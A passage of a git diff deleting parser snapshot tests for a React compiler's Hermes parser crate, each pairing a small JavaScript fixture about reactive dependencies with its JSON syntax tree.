-                      699,
-                      700
-                    ]
-                  },
-                  "computed": false,
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    690,
-                    700
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                683,
-                701
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              683,
-              702
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    705,
-                    706
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    707,
-                    711
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  705,
-                  711
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "props",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          712,
-                          717
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          718,
-                          719
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        712,
-                        719
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "b",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        720,
-                        721
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      712,
-                      721
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "c",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      722,
-                      723
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    712,
-                    723
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                705,
-                724
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              705,
-              725
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                735,
-                736
-              ]
-            },
-            "loc": null,
-            "range": [
-              728,
-              737
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          665,
-          739
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        639,
-        739
-      ],
-      "loc": null,
-      "range": [
-        639,
-        739
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    639,
-    739
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-dependencies-optional-member-expression.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-dependencies-optional-member-expression.js.snap
deleted file mode 100644
index a34193f439da..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-dependencies-optional-member-expression.js.snap
+++ /dev/null
@@ -1,423 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-dependencies-optional-member-expression.js
----
-Input:
-function Component(props) {
-  const x = [];
-  x.push(props.items?.length);
-  x.push(props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? []);
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    47
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    52
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  46,
-                  52
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "OptionalMemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        53,
-                        58
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "items",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        59,
-                        64
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      53,
-                      64
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "length",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      66,
-                      72
-                    ]
-                  },
-                  "computed": false,
-                  "optional": true,
-                  "loc": null,
-                  "range": [
-                    53,
-                    72
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                46,
-                73
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              46,
-              74
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    83
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  77,
-                  83
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "LogicalExpression",
-                  "operator": "??",
-                  "left": {
-                    "type": "OptionalCallExpression",
-                    "callee": {
-                      "type": "OptionalMemberExpression",
-                      "object": {
-                        "type": "OptionalCallExpression",
-                        "callee": {
-                          "type": "OptionalMemberExpression",
-                          "object": {
-                            "type": "OptionalMemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  84,
-                                  89
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "items",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  90,
-                                  95
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                84,
-                                95
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "edges",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                97,
-                                102
-                              ]
-                            },
-                            "computed": false,
-                            "optional": true,
-                            "loc": null,
-                            "range": [
-                              84,
-                              102
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "map",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              104,
-                              107
-                            ]
-                          },
-                          "computed": false,
-                          "optional": true,
-                          "loc": null,
-                          "range": [
-                            84,
-                            107
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "Identifier",
-                            "name": "render",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              110,
-                              116
-                            ]
-                          }
-                        ],
-                        "optional": true,
-                        "loc": null,
-                        "range": [
-                          84,
-                          117
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "filter",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          119,
-                          125
-                        ]
-                      },
-                      "computed": false,
-                      "optional": true,
-                      "loc": null,
-                      "range": [
-                        84,
-                        125
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "Boolean",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          128,
-                          135
-                        ]
-                      }
-                    ],
-                    "optional": true,
-                    "loc": null,
-                    "range": [
-                      84,
-                      136
-                    ]
-                  },
-                  "right": {
-                    "type": "ArrayExpression",
-                    "elements": [],
-                    "loc": null,
-                    "range": [
-                      140,
-                      142
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    84,
-                    142
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                77,
-                143
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              77,
-              144
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                154,
-                155
-              ]
-            },
-            "loc": null,
-            "range": [
-              147,
-              156
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          158
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        158
-      ],
-      "loc": null,
-      "range": [
-        0,
-        158
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    158
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-deps-cond-scope.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-deps-cond-scope.js.snap
deleted file mode 100644
index 0391f3560ba2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-deps-cond-scope.js.snap
+++ /dev/null
@@ -1,332 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-deps-cond-scope.js
----
-Input:
-// Some reactive scopes are created within a conditional. If a child scope
-// is within a conditional, its reactive dependencies should be propagated
-// as conditionals
-//
-// In this test:
-// ```javascript
-// scope @0 (deps=[???] decls=[x]) {
-//   const x = {};
-//   if (foo) {
-//     scope @1 (deps=[props.a.b] decls=[tmp]) {
-//       const tmp = bar(props.a.b);
-//     }
-//     x.a = tmp;
-//   }
-// }
-// return x;
-// ```
-
-function TestReactiveDepsInCondScope(props) {
-  let x = {};
-  if (foo) {
-    let tmp = bar(props.a.b);
-    x.a = tmp;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestReactiveDepsInCondScope",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          433,
-          460
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            461,
-            466
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    476,
-                    477
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    480,
-                    482
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  476,
-                  482
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              472,
-              483
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "foo",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                490,
-                493
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "tmp",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          505,
-                          508
-                        ]
-                      },
-                      "init": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "Identifier",
-                          "name": "bar",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            511,
-                            514
-                          ]
-                        },
-                        "arguments": [
-                          {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "props",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  515,
-                                  520
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "a",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  521,
-                                  522
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                515,
-                                522
-                              ]
-                            },
-                            "property": {
-                              "type": "Identifier",
-                              "name": "b",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                523,
-                                524
-                              ]
-                            },
-                            "computed": false,
-                            "loc": null,
-                            "range": [
-                              515,
-                              524
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          511,
-                          525
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        505,
-                        525
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    501,
-                    526
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          531,
-                          532
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          533,
-                          534
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        531,
-                        534
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "tmp",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        537,
-                        540
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      531,
-                      540
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    531,
-                    541
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                495,
-                545
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              486,
-              545
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                555,
-                556
-              ]
-            },
-            "loc": null,
-            "range": [
-              548,
-              557
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          468,
-          559
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        424,
-        559
-      ],
-      "loc": null,
-      "range": [
-        424,
-        559
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    424,
-    559
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-deps-join-uncond-scopes-cond-deps.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-deps-join-uncond-scopes-cond-deps.js.snap
deleted file mode 100644
index c659950efa74..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-deps-join-uncond-scopes-cond-deps.js.snap
+++ /dev/null
@@ -1,410 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-deps-join-uncond-scopes-cond-deps.js
----
-Input:
-// This tests an optimization, NOT a correctness property.
-// When propagating reactive dependencies of an inner scope up to its parent,
-// we prefer to retain granularity.
-//
-// In this test, we check that Forget propagates the inner scope's conditional
-// dependencies (e.g. props.a.b) instead of only its derived minimal
-// unconditional dependencies (e.g. props).
-// ```javascript
-//  scope @0 (deps=[???] decls=[x, y]) {
-//    let y = {};
-//    scope @1 (deps=[props] decls=[x]) {
-//      let x = {};
-//      if (foo) mutate1(x, props.a.b);
-//    }
-//    mutate2(y, props.a.b);
-//  }
-
-function TestJoinCondDepsInUncondScopes(props) {
-  let y = {};
-  let x = {};
-  if (foo) {
-    mutate1(x, props.a.b);
-  }
-  mutate2(y, props.a.b);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestJoinCondDepsInUncondScopes",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          599,
-          629
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            630,
-            635
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    645,
-                    646
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    649,
-                    651
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  645,
-                  651
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              641,
-              652
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    659,
-                    660
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    663,
-                    665
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  659,
-                  665
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              655,
-              666
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "foo",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                673,
-                676
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "mutate1",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        684,
-                        691
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          692,
-                          693
-                        ]
-                      },
-                      {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "props",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              695,
-                              700
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "a",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              701,
-                              702
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            695,
-                            702
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            703,
-                            704
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          695,
-                          704
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      684,
-                      705
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    684,
-                    706
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                678,
-                710
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              669,
-              710
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate2",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  713,
-                  720
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    721,
-                    722
-                  ]
-                },
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        724,
-                        729
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        730,
-                        731
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      724,
-                      731
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "b",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      732,
-                      733
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    724,
-                    733
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                713,
-                734
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              713,
-              735
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    746,
-                    747
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    749,
-                    750
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                745,
-                751
-              ]
-            },
-            "loc": null,
-            "range": [
-              738,
-              752
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          637,
-          754
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        590,
-        754
-      ],
-      "loc": null,
-      "range": [
-        590,
-        754
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    590,
-    754
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-nonoverlap-descendant.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-nonoverlap-descendant.js.snap
deleted file mode 100644
index 2e7ab7ae58b5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@reduce-reactive-uncond-deps-nonoverlap-descendant.js.snap
+++ /dev/null
@@ -1,474 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/reduce-reactive-uncond-deps-nonoverlap-descendant.js
----
-Input:
-// Test that we can track non-overlapping dependencies separately.
-// (not needed for correctness but for dependency granularity)
-function TestNonOverlappingDescendantTracked(props) {
-  let x = {};
-  x.a = props.a.x.y;
-  x.b = props.b;
-  x.c = props.a.c.x.y.z;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "TestNonOverlappingDescendantTracked",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          139,
-          174
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            175,
-            180
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    190,
-                    191
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    194,
-                    196
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  190,
-                  196
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              186,
-              197
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    200,
-                    201
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    202,
-                    203
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  200,
-                  203
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "Identifier",
-                      "name": "props",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        206,
-                        211
-                      ]
-                    },
-                    "property": {
-                      "type": "Identifier",
-                      "name": "a",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        212,
-                        213
-                      ]
-                    },
-                    "computed": false,
-                    "loc": null,
-                    "range": [
-                      206,
-                      213
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      214,
-                      215
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    206,
-                    215
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    216,
-                    217
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  206,
-                  217
-                ]
-              },
-              "loc": null,
-              "range": [
-                200,
-                217
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              200,
-              218
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    221,
-                    222
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    223,
-                    224
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  221,
-                  224
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    227,
-                    232
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    233,
-                    234
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  227,
-                  234
-                ]
-              },
-              "loc": null,
-              "range": [
-                221,
-                234
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              221,
-              235
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    238,
-                    239
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "c",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    240,
-                    241
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  238,
-                  241
-                ]
-              },
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "MemberExpression",
-                    "object": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            244,
-                            249
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            250,
-                            251
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          244,
-                          251
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "c",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          252,
-                          253
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
